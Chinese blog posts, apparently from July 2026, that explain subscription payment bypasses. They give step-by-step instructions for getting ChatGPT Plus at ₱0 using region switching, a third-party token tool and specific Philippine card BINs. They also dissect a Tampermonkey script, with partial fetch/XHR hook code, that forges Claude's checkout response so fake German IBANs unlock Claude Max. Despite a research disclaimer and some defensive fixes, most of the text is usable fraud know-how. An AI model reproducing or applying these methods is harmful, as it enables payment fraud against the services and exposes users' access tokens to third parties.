税务复杂度：不同国家的增值税率不同，账单格式要求不同。OpenAI 需要为每个国家维护正确的税务处理。
优先级：信用卡覆盖了 OpenAI 的核心市场（北美、欧洲）。本地支付方式对应的市场（东南亚、拉美、南亚）目前可能不是优先级。

但 Stripe 的能力已经在那里了。payment_method_types 里已经包含了这些方式。OpenAI 只需要在前端把选项打开。在此之前——提链工具就是桥梁。

九、和 0 PHP 漏洞的关系——一张图说清

 ┌───────────────────────────────────┐
 │ 正常提链工具 │
 │ country=NL, currency=EUR │
 │ NO promo_campaign │
 │ → amount = €20 (Stripe 价格表) │
 │ → redirect URL → iDEAL 付款 │
 └───────────┬───────────────────────┘
 │
 同一个 API │ 同一个 API
 │
 ┌───────────▼───────────────────────┐
 │ OpenAI /payments/checkout API │
 │ + Stripe Checkout Session │
 └───────────┬───────────────────────┘
 │
 ┌───────────▼───────────────────────┐
 │ 0 PHP 攻击工具 │
 │ country=PH, currency=PHP │
 │ + promo_campaign injection │
 │ + cross-region confusion │
 │ → amount = ₱0 (被操纵) │
 │ → PH BIN 卡完成支付 │
 └───────────────────────────────────┘

同一个 API，两种用法：

提链：合法利用 Stripe 的本地支付能力，正常价格
0 PHP：利用跨区信号碎片化 + 参数注入，把价格打到零

提链不是漏洞利用。它只是 Stripe 本来就有的能力，被 OpenAI 前端隐藏了而已。

十、写在最后

提链的本质是一个简单的事实：Stripe 是一个全球支付平台，它天然支持几十种本地支付方式。OpenAI 的 UI 做了限制，但 API 没有。

从技术角度看，12 步协议流程的每一步都有其必要性——IP 一致性、状态管理、税务更新、pre_confirm。跳过任何一步都会导致最终拿不到 redirect URL。这也是为什么"提链"不是简单地抓个包就能搞定的——你需要理解 Stripe 的完整 Checkout 流程。

从商业角度看，提链让全球用户有了一种不依赖信用卡的方式来使用 ChatGPT。在信用卡渗透率不到 10% 的印度，UPI 是 8 亿人的默认支付方式。提链本身不是什么灰色操作——它只是把 Stripe 的能力释放给了真正需要的人。

最后的最后：本文提到的所有脚本和协议细节都有时效性。OpenAI 和 Stripe 的接口在持续变化——Stripe runtime version 会更新，API 字段会调整，风控规则会收紧。今天能跑的脚本，明天可能就 403 了。理解原理比收藏脚本更重要。

附录：直卡绑定——另一条路

除了提链，还有一种完全不同的思路：直接给 ChatGPT 账号绑一张卡，然后正常走 checkout。

这就是"直卡焚决"方法的核心。它不绕过前端、不走第三方支付——它解决的是"没有美区信用卡"这个前置问题。

原理

OpenAI 的 /backend-api/payments/payment_method 接口支持创建 Stripe SetupIntent——这是 Stripe 的"先绑卡不扣款"机制。绑上之后，下次走 checkout 时就有卡可用了。

配套的控制台脚本（在 chatgpt.com 的 Console 里运行）做了这几件事：

自动发现 Stripe 公钥——OpenAI 有两个 Stripe 商户分片（KslHRdbaPg 和 C6h1nxGoI3），脚本通过 retrieveSetupIntent 自动匹配当前账号属于哪个分片
创建 SetupIntent——调用 OpenAI 的 payment_method API，拿到 client_secret
渲染 Stripe Card Element——在页面上弹出一个模态框，内嵌 Stripe 的标准卡输入组件
确认绑定——stripe.confirmCardSetup + set_as_default_payment_method: true

// 关键调用
const result = await stripe.confirmCardSetup(clientSecret, {
 payment_method: {
 card: cardElement,
 billing_details: { name },
 allow_redisplay: 'always'
 },
 set_as_default_payment_method: true
});

绑卡成功后，脚本还会调用 /backend-api/payments/payment_methods 拉取当前账号的所有支付方式列表，用 console.table 打印出来。你可以看到新绑的卡已经成为默认支付方式。

和提链的关系

直卡绑定：解决"没有卡"的问题。需要有一张能过 Stripe AVS/3DS 验证的实体或虚拟卡。
提链：解决"不想/不能用信用卡"的问题。走本地支付方式，完全不涉及信用卡。

两种方法互补——有卡的用直卡，没卡的用提链。

0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解

Tue, 28 Jul 2026 18:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。利用类似手段对正式服务进行未授权操作属违法行为，后果自负。本文目的是帮助支付系统开发者理解跨区定价攻击面并加固防御。

前言

这两天群里炸了。

有人甩出一张截图：Stripe 结账页面，产品写着 “ChatGPT Plus”，金额一栏赫然显示 ₱0.00 PHP。菲律宾比索，零元，提交即开通。

评论区画风可想而知——“假的吧"“PS 的吧"“你怎么不说 Plus 倒找你钱”。

然后陆陆续续有人贴出了完整流程，甚至还配了视频录屏。操作步骤不复杂，总共四步，不需要 Root，不需要 Frida，不需要改一行代码。唯一的技术含量在于——你得知道用什么顺序把哪些区域串起来。

这就有意思了。之前我们拆过 prorationMode hook（改一个 putInt 白嫖 Claude Max）、拆过焚决脚本（劫持 checkout_capabilities 走 SEPA 假账号）、拆过 RevenueCat 凭证转移（匿名购买 + restore 归属偷渡）。那些多少都是"改代码"的路子——Hook 内存、注入响应、篡改参数。

但这次不一样。这次什么都没改。没有脚本，没有 Hook，没有中间人。攻击者只是以一种特定的顺序访问了几个网页，然后 Stripe 自己就吐出了 0 元账单。

今天把它完整拆开。

一、攻击全景：四步，从 JP 到 PH，从 $20 到 ₱0

先把流传的步骤还原一下：

Step 1：日本节点注册 OpenAI 账号

挂 JP 代理，开一个干净的浏览器 Profile（指纹浏览器或者 Chrome 新 Profile），去 OpenAI 官网正常注册，邮箱验证，登录确认。

此时你的账号状态：

account.locale = "ja-JP"
account.billing_country = "JP"
account.currency = "JPY"

OpenAI 在注册时根据你的 IP 地理位置初始化账号的计费区域。这一步的目的不是"要日本"本身，而是要一个非美区的初始定价锚点。

Step 2：切美国节点，提取 Access Token

保持同一个浏览器 Profile，VPN 切到 US 节点，重新登录刚才注册的账号。然后新标签页打开：

https://chatgpt.com/api/auth/session

浏览器返回一个 JSON，里面有 accessToken 字段——一个标准 JWT。复制保存。

此时你的 session 状态出现了第一层矛盾：

account.billing_country = "JP" ← 注册时写入，持久化在 OpenAI 数据库
session.ip_country = "US" ← 当前 IP 推断，存在 session/edge 层

Step 3：第三方工具生成 Checkout 链接

打开某个第三方"CDK 提炼"工具站点（这类工具本质上就是一个 AT → Stripe Checkout Session 的代理），把 Access Token 粘进去，点生成。

工具返回一个链接，格式：

https://chatgpt.com/checkout/openai_llc/oaics_xxxxxxxxxxxxxxxxxxxxx

oaics_ 是 OpenAI 的 Stripe Checkout Session ID 前缀。这个 session 是 OpenAI 后端基于你的 AT 创建的，包含了产品、价格、货币等信息。

关键问题来了：这个 Checkout Session 的 currency 和 amount 是怎么决定的？

Step 4：打开链接，惊喜时刻

在美国节点下打开这个 oaics 链接。Stripe 结账页面加载出来，你看到：

ChatGPT Plus
₱0.00 PHP / month

菲律宾比索。零元。

填入指定 BIN 的卡片信息（523686 或 4513），美国账单地址，提交。

Stripe 收了一笔 0 元交易，OpenAI 后端确认 checkout session 成功，权益生效。回到 ChatGPT 首页，左上角已经是 Plus 了。

二、为什么是 0 PHP？——三种假说

先澄清一个重要事实：OpenAI 在菲律宾是有明确定价的，ChatGPT Plus 的 PH 区定价大约是 ₱990 PHP/月。所以这不是简单的"价格表空洞导致 fallback 到 0”——如果定价系统正常查 PH 价格表，应该返回 ₱990，不是 ₱0。

那 0 是怎么来的？没有对 Checkout Session 创建过程的完整抓包，我们只能做推断。以下三种假说按可能性排序。

假说一：第三方工具在创建 Checkout Session 时注入了零元参数（最可能）

OpenAI 的 /backend-api/payments/checkout 接口接受多个参数来创建 Stripe Checkout Session。如果这个接口接受客户端传入的 discount、coupon、promotion_code 或类似参数，且后端没做资格校验——工具直接传了一个 100% 折扣的 coupon code 或者 amount_override: 0。

这和之前 RevenueCat 文章里分析过的 eligible_promo_campaigns 注入如出一辙：客户端声称"我有优惠资格”，后端不校验就信了。

// 工具的真实请求可能长这样
body: JSON.stringify({
 plan: "plus",
 promotion_code: "某个内部免费试用码",
 // 或者
 billing_country: "PH",
 currency: "php",
 // 或者更直接的
 price_override: 0
})

JP 注册 + US 登录制造的区域歧义，可能不是直接触发 0 元的原因，而是绕过风控检查的前置条件——当账号区域和 IP 区域不一致时，后端对 checkout 参数的校验逻辑可能走入了一个宽松的分支。

假说二：跨区信号冲突导致定价路由进入异常分支

当 OpenAI 创建 Stripe Checkout Session 时，面前有至少四个区域信号：

信号来源	值	决定时机
账号注册地	JP	注册时固化
当前 session IP	US	每次请求实时推断
Stripe 卡 BIN 发行国	PH	填卡时由 Stripe 推断
浏览器 Accept-Language	取决于浏览器设置	每次请求携带

正常场景下这四个信号一致——美国人在美国用美国卡买东西，直接查 US 价格表。

但当 JP ≠ US ≠ PH 三个信号同时存在时，定价系统需要做一个选择。如果选择逻辑是 if (account.country != ip.country) { use card.country } 这种优先级策略，而 PH 价格表虽然存在但在某个子路径（比如"非本地注册用户+跨区IP"的特殊定价分支）中没有配置——就可能在这个特殊分支里 fallback 到 0。

换句话说：PH 的主价格表有值（₱990），但某个异常处理路径的价格映射没覆盖到 PH，攻击者通过区域信号碎片化精确命中了这条路径。

假说三：Stripe Checkout Session 的 line_items 被工具篡改

Stripe checkout.sessions.create 的 line_items 参数包含 price 或 price_data。如果 OpenAI 的接口允许客户端指定 price_data.unit_amount（哪怕是间接的），工具就能在创建 session 时直接把金额写成 0。

line_items: [{
 price_data: {
 currency: "php",
 unit_amount: 0, // 直接指定 0
 product: "prod_xxx",
 recurring: { interval: "month" }
 },
 quantity: 1
}]

这种情况下 PH BIN 的作用不是"触发 PH 价格表"，而是让 currency 字段说得通——如果你传 currency: "php" 但卡是 US 卡，Stripe 可能会有额外的 currency mismatch 警告。PH 卡 + PHP 货币是自洽的。

为什么是 PH BIN？

无论哪种假说，流传的两个 BIN 都有其作用：

BIN	网络	发行国
523686	Mastercard	菲律宾
4513xx	Visa	取决于具体发行行

523686 开头的卡填入 Stripe 表单时，Stripe 内部标记 payment_method.card.country = "PH"。这个信号在整个支付流中传播。PH BIN 的作用至少有两个：

让 PHP 货币的 checkout session 能正常完成——卡的发行国和结账货币匹配
可能绕过 OpenAI 的 card-country vs account-country 风控规则——PH 卡付 PHP 金额在 Stripe 层面是"正常交易"

三、JP 注册的作用——制造"区域身份分裂"

你可能会问：为什么不直接在美国注册、美国提 Token、用 PH 卡付？

答案是：直接美区注册的账号，定价系统的行为是确定性的——走 US 价格表，$20 USD，没有歧义可利用。

JP 注册的作用是制造一个区域身份不确定的账号。当账号的 billing_country 是 JP，session IP 是 US，这两个信号已经矛盾了。定价系统在处理这种矛盾时，可能会：

走入一个异常处理分支，该分支的参数校验比正常路径更宽松
允许第三方工具注入的额外参数（如 currency、discount）覆盖默认行为
使用一个与主价格表不同的备用定价逻辑，而这个逻辑有漏洞

用状态机的视角看：

 ┌──────────────┐
 │ 注册时: JP │
 │ locale=ja-JP │
 └──────┬───────┘
 │
 ┌──────▼───────┐
 │ 登录时: US │
 │ ip_country=US│
 │ ≠ locale │
 └──────┬───────┘
 │
 ┌──────▼───────────┐
 │ 创建 Checkout │
 │ JP ≠ US → 歧义 │
 │ → 进入异常分支 │
 │ → 参数校验宽松 │
 └──────┬───────────┘
 │
 ┌──────▼───────────┐
 │ 工具注入参数 │
 │ + Card BIN: PH │
 │ → amount = 0 PHP │
 └──────────────────┘

三个不同的区域信号（JP / US / PH）制造了歧义，歧义打开了异常路径，异常路径上的校验缺失被利用。

这是一个经典的安全反模式：当多个权威源对同一个问题给出不同答案时，系统在歧义中放松了校验——不是直接返回 0，而是给了攻击者操纵结果的空间。

四、第三方"提炼工具"在干什么？

流程里的那个第三方网站（sms.linlinflow.ccwu.cc），名字叫"CDK 提炼"，听着玄乎，其实它干的事非常直白：

接收你的 Access Token
用这个 AT 调用 OpenAI 后端 API，创建一个 Stripe Checkout Session
把 Checkout Session 的 URL 返回给你

本质就是一个 AT → oaics_ 链接 的代理服务。

它的技术实现大概率是这样的：

// 伪代码，非真实接口
const response = await fetch("https://chatgpt.com/backend-api/payment/checkout", {
 method: "POST",
 headers: {
 "Authorization": `Bearer ${accessToken}`,
 "Content-Type": "application/json"
 },
 body: JSON.stringify({
 plan: "plus",
 // 关键：这里可能注入了额外参数
 // billing_country? currency? locale?
 })
});

const { checkout_url } = await response.json();
// checkout_url = "https://chatgpt.com/checkout/openai_llc/oaics_..."

关键问题：工具只是"转发"了 AT，还是"动了手脚"？

考虑到 PH 区有明确的 Plus 定价（约 ₱990/月），而结果是 ₱0——工具大概率不只是简单转发。它在创建 Checkout Session 时注入了额外参数，利用跨区账号的异常处理路径绕过了服务端校验。

具体注入了什么参数？没有抓包数据我们无法确定。可能是 promotion_code、discount、currency + amount 覆盖、甚至是一个 OpenAI 内部的免费试用 API 路径。但有一点可以确定：如果工具只是忠实转发 AT，以 PH 区 ₱990 的定价，结果不可能是 ₱0。

工具是这个攻击链中最不透明的环节。你把 Access Token——等同于你的登录态——交给了一个第三方服务。它用你的身份做了什么请求、传了什么参数，你完全不知道。这也是为什么整个流程的"技术含量"看似很低——核心逻辑都藏在工具服务端里，用户只是按步骤操作。

五、BIN 选择——不是随便什么卡都行

流传的步骤里特别强调了两个 BIN：523686（Mastercard）和 4513（Visa）。这不是随便挑的。

BIN 在支付流中的角色

BIN（Bank Identification Number）是卡号的前 6-8 位，编码了发卡行、卡网络、卡类型和发行国等信息。Stripe 在收到卡号的前 6 位时就能确定：

523686 → Mastercard / Philippines / Credit / 某发卡行

这个信息会被写入 payment_method.card.country，并在整个支付流中传播。

为什么必须是 PH BIN？

PH BIN 的作用不是"触发一个空的价格表"——PH 价格表是存在的（约 ₱990/月）。

更可能的解释是：

货币匹配：如果工具创建的 Checkout Session 指定了 currency: "php"，那么 PH 发行的卡才能让 Stripe 的 currency-card 一致性检查通过。US 卡 + PHP 货币会触发额外的风控审查。
风控绕过：OpenAI/Stripe 的风控系统可能对"card country = PH + checkout currency = PHP"这个组合判定为"正常的本地交易"，不会触发跨境支付的额外校验。而如果用 JP 卡或 US 卡来付一笔 0 PHP 的订单，风控更容易拦截。
AVS 绕过：PH 卡不走 Stripe 的 AVS 地址校验，所以填什么地址都行——这降低了被拒的概率。

523686 和 4513 是经过实测确认能被 Stripe 正确识别为 card.country = "PH" 的 BIN 段。不是所有 PH BIN 都行，因为某些 BIN 可能已被 OpenAI/Stripe 的风控规则标记或黑名单。

为什么要填美国账单地址？

这步看起来矛盾——卡是菲律宾的，地址填美国？

原因是 Stripe 的 AVS（Address Verification Service）只对美国和英国的卡做地址校验。PH 卡不走 AVS，所以你填什么地址都无所谓——但如果你填 PH 地址，可能触发 OpenAI 的额外风控逻辑。填 US 地址是为了"看起来正常"，降低被风控拦截的概率。

六、从防御视角看——OpenAI 需要修什么

不管具体是哪种假说成立，防御原则是通用的。

修复方案（从简单到全面）

Level 1：Checkout Session 金额校验

def create_checkout_session(user, plan):
 price = get_price(plan, resolve_country(user))
 if price["amount"] == 0 and plan != "free":
 raise ValueError("Zero-amount checkout for paid plan")
 # ...

付费产品金额为 0 时直接拒绝创建 session。这应该是支付系统的基本不变量。

Level 3：区域一致性校验

def resolve_country(user):
 signals = {
 "registration": user.billing_country, # JP
 "session_ip": geoip(user.current_ip), # US
 "card_bin": None, # 创建 session 时还不知道
 }
 # 如果注册地和 session IP 不一致，以注册地为准
 # 不让 card BIN 覆盖定价区域
 return signals["registration"]

定价的 country 由一个确定性函数决定，不受 card BIN 影响。Card BIN 的 country 只用于风控信号，不参与定价。

Level 4：Webhook 后置校验

def on_checkout_completed(event):
 session = event.data.object
 if session.amount_total == 0 and session.mode == "subscription":
 # 0 元订阅？不对劲
 stripe.Subscription.delete(session.subscription)
 alert("Zero-amount subscription detected", session)

即使 Checkout Session 创建时金额为 0，在 checkout.session.completed webhook 里也要做最终校验。这是最后一道防线。

七、这个漏洞和之前的几个有什么关系？

放在一起看，这几个月被扒出来的 ChatGPT/Claude 支付漏洞其实形成了一个谱系：

漏洞	攻击层	改了什么	核心缺陷
prorationMode Hook	客户端内存	`putInt` 的一个参数	Google Play 信任客户端传入的升级策略
焚决 (cassia)	HTTP 响应	`checkout_flow` 字段	前端根据 API 响应选择支付通道，后端不校验
RevenueCat 转移	聚合器 API	`is_restore` + `app_user_id`	匿名购买 + restore 归属无限转移
API 响应注入	HTTP 响应	`eligible_promo_campaigns`	优惠码资格校验仅在前端
0 PHP 跨区 (本文)	定价系统	区域信号 + 工具注入	跨区歧义打开异常路径 + checkout 参数校验缺失

注意到了吗？攻击层在不断"上移"。

早期的漏洞需要 Root、需要 Frida、需要改代码——门槛不低。焚决降到了一个油猴脚本的水平。而 0 PHP 攻击连脚本都不需要——纯操作流程，任何人都能复现。

从攻击者的角度看，这是一个自然演进：当客户端层的防御越来越强（代码混淆、完整性校验、证书绑定），攻击者就会转向更高层——业务逻辑层、定价系统层、区域路由层。 这些层的防御往往更薄弱，因为它们不像"加密"“签名"那样有明确的安全框架，它们是业务系统的一部分，安全评审时容易被忽略。

八、更通用的攻击模式——“区域信号碎片化”

0 PHP 攻击其实揭示了一个通用的攻击模式，我把它叫做**“区域信号碎片化攻击”（Region Signal Fragmentation）**。

攻击模型

victim_system.pricing = f(country)

country = resolve(
 signal_1: registration_country, ← 攻击者控制（注册时选择 VPN 节点）
 signal_2: session_ip_country, ← 攻击者控制（登录时选择 VPN 节点）
 signal_3: card_bin_country, ← 攻击者控制（选择特定 BIN 的卡）
 signal_4: browser_locale, ← 攻击者控制（浏览器设置）
 signal_5: billing_address, ← 攻击者控制（表单填写）
)

所有五个信号都由攻击者完全控制。如果 resolve() 函数对歧义输入的处理不当——比如进入异常分支后放松了参数校验，或者 fallback 逻辑允许客户端覆盖定价——攻击者就能把定价推入非预期状态。

防御原则

原则一：定价权归一

pricing_country = user.billing_country // 只有一个来源，注册时确定
// card BIN、IP、locale 都不参与定价决策
// 只作为风控辅助信号

原则二：Checkout 参数不可客户端覆盖

# 服务端决定 price、currency、amount
# 客户端/第三方传入的 discount、coupon、price_override 一律忽略
# 只接受服务端白名单内的 promotion_code，且校验账号资格
checkout_session = stripe.checkout.Session.create(
 line_items=[server_determined_price], # 不接受客户端 price_data
 discounts=[], # 不接受客户端 coupon
)

客户端能影响定价 = 攻击面。

原则三：零元红线

if checkout.amount == 0 and plan.type == "paid":
 REJECT() // 无条件拒绝

付费产品不可能合法地出现 0 元。这应该是一个硬编码的不变量，不依赖任何业务逻辑。

九、写在最后

从 prorationMode 到焚决到 RevenueCat 到 0 PHP，每一个漏洞都指向同一个结构性问题：

当支付系统由多个独立组件（商店、聚合器、定价引擎、checkout 前端、webhook 后端）拼装而成时，组件之间的信任传递就是攻击面。

prorationMode 的信任传递是"Google Play 信任客户端传入的升级策略”。焚决的信任传递是"前端信任 API 返回的支付通道"。RevenueCat 的信任传递是"聚合器信任 SDK 传入的 app_user_id"。0 PHP 的信任传递是"定价系统信任 card BIN 推断的国家"。

没有一个单点漏洞，都是链路上的信任滑坡。

而防御的核心思路也始终一样：在链路的最末端（服务端 webhook、权益发放点）做最终校验，不信任链路上游传递的任何"结论"，只信任可验证的"事实"。

具体到 0 PHP 这个 case：Stripe checkout.session.completed 事件里的 amount_total 是事实，currency 是事实。如果一个 ChatGPT Plus 订阅的 amount_total 是 0——不管前面经历了多少层区域路由和定价查询——这就不对。拦住它。

这比修价格表更重要。因为价格表总有遗漏，但"付费产品不能 0 元"这条规则没有例外。

往期相关：

Google Play 内购 CC Max 漏洞深度拆解

焚决 Claude — 油猴脚本撬开支付大门

GPT Plus 订阅漏洞 — RevenueCat 凭证转移

GPT Plus 订阅漏洞 — Google Play Billing 鉴权缺失

焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门

Sun, 26 Jul 2026 04:49:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒：本文发布于 2026 年 7 月，文中涉及的 API 端点、支付流参数均为发布时有效值。Anthropic 随时可能修改 checkout_capabilities 响应结构或在后端追加校验逻辑，届时本方法将失效。本文保留仅供安全研究与客户端安全防御参考。

前言

最近圈子里流传着一个叫**「焚决」**的东西，名字取得很玄，搞得好像什么了不得的秘术。拿到手一看——是一段不到 200 行的 Tampermonkey 油猴脚本。

但别小看这 200 行代码。它干了一件非常漂亮的事情：在你打开 Claude 网页版准备付费订阅的瞬间，在浏览器内部悄无声息地篡改了一个 API 响应，把你看到的支付页面从信用卡表单换成了 SEPA 银行转账。然后你去 randomiban.com 随便生成一个德国银行账号，填进去，提交——Claude Max 到手，扣款金额 0 元。

这玩意在外面传得沸沸扬扬，各路卡网卖的廉价 Claude 会员，相当一部分就是靠这个批量生产的。

今天咱们把它彻底拆开。不光讲它怎么工作，更要讲为什么能成、它利用了支付系统的哪个结构性缺陷、以及这种攻击模式怎么迁移到其他平台。

一、攻击全景：一个 API 字段改写引发的连锁反应

正常的 Claude 订阅流程

打开 claude.ai，点击升级订阅，前端第一件事不是弹出支付表单——它先问后端一个问题：

GET /api/organizations/{org_id}/subscription/checkout_capabilities

这个接口的职责很简单：告诉前端，当前这个用户应该走哪条支付通道。 后端会综合 IP 地理位置、账号注册区域、浏览器 Accept-Language 等信号，返回一个支付流标识：

{
 "checkout_flow": "stripe"
}

前端拿到 stripe，渲染信用卡表单——卡号、有效期、CVV、3DS 二次验证，一套标准流程。信用卡支付是同步授权的，银行实时校验，过不了就是过不了。

劫持后的流程

脚本做的事情只有一件：把所有命中 checkout_capabilities 的响应体替换为：

{
 "checkout_flow": "cassia"
}

cassia 是 Anthropic 内部用于欧洲 SEPA 银行转账的支付流标识。前端一看返回值变了，渲染逻辑直接切换——不再是信用卡表单，而是一个 IBAN 输入框。

这时候去 randomiban.com 生成一个德国 IBAN（格式：DE + 2 位校验码 + 8 位银行代码 + 10 位账号，共 22 位），填进去，点提交。

前端校验？只检查 IBAN 格式是否合法（MOD 97-10 校验通过即可）。

后端校验？SEPA 体系下，提交时不做实时账户验证。

结果：Claude 立刻给你开通了订阅。

二、SEPA 直接借记——为什么填个假账号也能过

这是整个攻击的核心利用点，不理解 SEPA 的清算机制，就不可能理解这个漏洞为什么成立。

先搞清楚 SEPA 是什么

SEPA（Single Euro Payments Area，单一欧元支付区）覆盖 36 个欧洲国家和地区，是欧盟推动的统一支付基础设施。其中的 SEPA Direct Debit（直接借记，德语叫 Lastschriftverfahren）允许商家向消费者的银行账户"拉钱"——不是你给商家转账，而是商家拿着你的授权凭证去你的银行把钱取走。

听起来很方便对吧？问题就出在这个"拉钱"的流程设计上。

信用卡 vs SEPA 直接借记：两套完全不同的信任模型

	信用卡（Stripe 标准流）	SEPA 直接借记（cassia 流）
授权模式	同步在线授权	异步离线扣款
交易发起时校验	卡号 Luhn 校验 + CVV 验证 + 3DS 二次认证 + 银行实时授权	IBAN MOD 97-10 格式校验，仅此而已
银行参与时机	交易发起的瞬间	交易发起后的 1-3 个工作日
资金确认	毫秒级返回授权结果	银行不返回任何确认，排队等清算
消费者保护	Chargeback 争议流程	8 周无条件撤回权（SEPA CORE 规则）

看到关键区别了吗？信用卡在你点击支付的那一瞬间就跟银行确认了你有没有钱、卡号对不对、你本人是不是同意的。而 SEPA 直接借记完全不做这些——它只检查 IBAN 的格式，然后把扣款请求扔进银行间的批量清算队列里，等着慢慢处理。

SEPA CORE 清算流程

实际的清算过程是这样的：

你提交 IBAN
 ↓
支付网关做 MOD 97-10 校验（纯数学公式，检查 IBAN 格式是否合法）
 ↓
校验通过 → 支付网关返回"交易成功"
 ↓
Anthropic 收到成功信号 → 开通你的 Claude Max 订阅
 ↓
... T+1 到 T+3 工作日 ...
 ↓
扣款请求进入 SEPA CORE 清算系统
 ↓
商家银行 → 消费者银行：请从账号 DEXX XXXX XXXX XXXX XXXX XX 扣 $20
 ↓
消费者银行查询账号 → 账号不存在 / 余额不足 / 未授权
 ↓
返回 R 代码拒绝（R02=无效账号, R04=账户已关, R05=被授权人撤销...）
 ↓
Anthropic 收到扣款失败通知 → 关闭你的订阅

重点来了：从你提交 IBAN 到银行清算出结果，中间有一个 1-3 个工作日的真空期。 在这段时间里，你的 Claude Max 订阅是完全生效的——能用 Opus、能用所有高级功能、流量不限。

MOD 97-10：格式校验的局限性

IBAN 的校验算法叫 ISO 7064 MOD 97-10，原理其实很简单：

把 IBAN 的国家代码和校验码移到末尾
把字母转换为数字（A=10, B=11, …, Z=35）
对整个大整数做 MOD 97 运算
结果等于 1 就合法

这个算法能检出什么？格式错误——打错了某一位、漏了一位、国家代码不对。

这个算法检不出什么？一切跟真实世界有关的东西——账户是否存在、余额是否充足、持有人是不是你。

randomiban.com 生成的 IBAN 就是利用了这一点：它按照 MOD 97-10 算法逆向构造，生成的 IBAN 格式 100% 合法，能通过任何基于此算法的前端和后端校验。至于这个账号在不在现实中存在——那是 3 天后银行清算时才会发现的事情。

为什么偏偏是德国 IBAN？

SEPA 覆盖 36 个国家，为什么脚本选了德国（DE）？

格式最简单：DE 开头的 IBAN 固定 22 位，结构是 DE + 2位校验码 + 8位银行代码(BLZ) + 10位账号，没有额外的国家级校验叠加
通过率最高：德国 IBAN 在 Stripe 等主流支付网关的接受度最好，不会触发额外的地区风控
银行代码空间大：8 位 BLZ 有大量有效的银行代码段，随机生成碰上有效 BLZ 前缀的概率不低

对比一下法国 IBAN（27 位，还有额外的 RIB 密钥校验）或者西班牙 IBAN（24 位，有 DC 校验位），德国确实是阻力最小的选择。

三、脚本逐行技术拆解

理解了 SEPA 的机制，再来看脚本本身就清晰多了。每一个设计决策都有明确的技术理由。

3.1 元数据——抢在一切之前

// @name TestExample Cassia Response Mock
// @match *://claude.ai/*
// @match *://*.claude.ai/*
// @run-at document-start
// @grant none
// @sandbox raw

三个关键设定：

@run-at document-start：页面 DOM 还没开始构建，脚本已经注入完毕。这不是可选项——如果等到 document-idle，checkout_capabilities 的请求可能已经发出去了，Hook 就晚了。整个攻击成立的前提就是比目标请求更早完成注入。
@sandbox raw：绕过 Tampermonkey 的安全沙箱。默认沙箱会隔离脚本的执行上下文，导致你覆盖的 window.fetch 和页面实际用的 window.fetch 不是同一个。raw 模式下脚本直接在页面上下文中执行，Hook 才能真正生效。
@grant none：不申请 GM_* 系列 API 权限。一方面减少 Tampermonkey 的安全提示弹窗，另一方面 @sandbox raw 本身就不兼容 GM_* API。

3.2 精确制导——只改一个接口

const TARGET_PATH =
 /^\/api\/organizations\/[^/]+\/subscription\/checkout_capabilities\/?$/;

正则匹配精确到路径段，连末尾有没有斜杠都考虑了。只拦截这一个接口，其他所有请求原样放行。

为什么是这个接口？因为它是 Claude 前端支付流的单一决策点——前端根据它的返回值决定渲染 Stripe 信用卡表单还是 SEPA IBAN 输入框。控制了这个响应，就控制了用户看到的整个支付界面。

这种精准度也是为了隐蔽性——如果你 Hook 了所有请求，前端的行为会出各种异常，容易暴露。只改一个接口，前端其他部分的运行完全正常。

3.3 Fetch 拦截——先发后改

const nativeFetch = window.fetch;

window.fetch = async function (input, init) {
 const method = init?.method ||
 (input instanceof Request ? input.method : "GET");

 const targetUrl = getTargetUrl(input, method);
 const originalResponse = await nativeFetch.apply(this, arguments);

 if (!targetUrl) {
 return originalResponse;
 }

 return createMockResponse(originalResponse);
};

注意调用顺序：先用原生 fetch 把真实请求正常发出去，等拿到响应后再替换返回值。

这是这个脚本最巧妙的地方。

如果直接拦截请求不发出去，构造一个假响应返回呢？功能上没问题。但从服务端的角度看——你打开了支付页面，前端应该调 checkout_capabilities，结果后端日志里根本没看到这个请求。这就是一个异常信号，可以被 Anthropic 的安全团队用于检测。

先发后改的策略完美回避了这个问题：服务端日志里看到了正常的 GET 请求、正常的 200 响应，一切如常。篡改发生在浏览器内部，从 HTTPS 加密通道往外看什么都没变。

3.4 Response 重构——细节决定成败

function createMockResponse(originalResponse) {
 const headers = new Headers(originalResponse.headers);

 headers.delete("content-length");
 headers.delete("content-encoding");
 headers.delete("etag");
 headers.delete("content-md5");

 headers.set("content-type", "application/json; charset=utf-8");
 headers.set("content-length", String(MOCK_LENGTH));
 headers.set("cache-control", "no-store");

 const response = new Response(MOCK_BODY, {
 status: 200,
 statusText: "OK",
 headers
 });

逐个分析删掉的响应头：

content-encoding：原始响应大概率是 gzip 或 br 压缩的。我们构造的 JSON 是明文，如果不删这个头，浏览器会拿着明文 JSON 去做 gzip 解压——直接炸。
content-length：原始响应体大小和我们构造的不一样，不改的话浏览器会截断或报错。
etag / content-md5：完整性校验头。原始响应的哈希和我们篡改后的内容对不上。虽然浏览器通常不强制校验这些头，但删掉更保险——万一前端代码拿这些值做了缓存校验呢。
cache-control: no-store：强制不缓存。如果浏览器缓存了我们的假响应，下次刷新页面不走 Hook 了就拿到缓存的假数据——反而弄巧成拙。反过来，如果缓存了之前的真响应，前端可能直接用缓存不发请求，Hook 就没机会触发。no-store 确保每次都走网络请求，每次都经过 Hook。

3.5 XHR 双通道保险

脚本不光 Hook 了 fetch，还对 XMLHttpRequest 做了一套完整的拦截——覆盖了 responseText、response、status、statusText、getResponseHeader、getAllResponseHeaders。

为什么要两套？现代 Web 应用大多用 fetch，但你无法保证 Anthropic 的前端代码——或者它依赖的第三方库——不会在某些场景下 fallback 到 XHR。少 Hook 一个通道就是留了一条漏网之鱼。

XHR 的 Hook 方式也值得一看：

function replaceXhrGetter(propertyName, replacement) {
 const descriptor =
 Object.getOwnPropertyDescriptor(XhrPrototype, propertyName);

 if (!descriptor || typeof descriptor.get !== "function" ||
 descriptor.configurable === false) {
 console.warn(`[Cassia Mock] 无法接管 XHR.${propertyName}`);
 return;
 }

 const nativeGetter = descriptor.get;

 Object.defineProperty(XhrPrototype, propertyName, {
 ...descriptor,
 get: function () {
 if (!getMatchedXhr(this)) {
 return nativeGetter.call(this);
 }
 return replacement.call(this, nativeGetter);
 }
 });
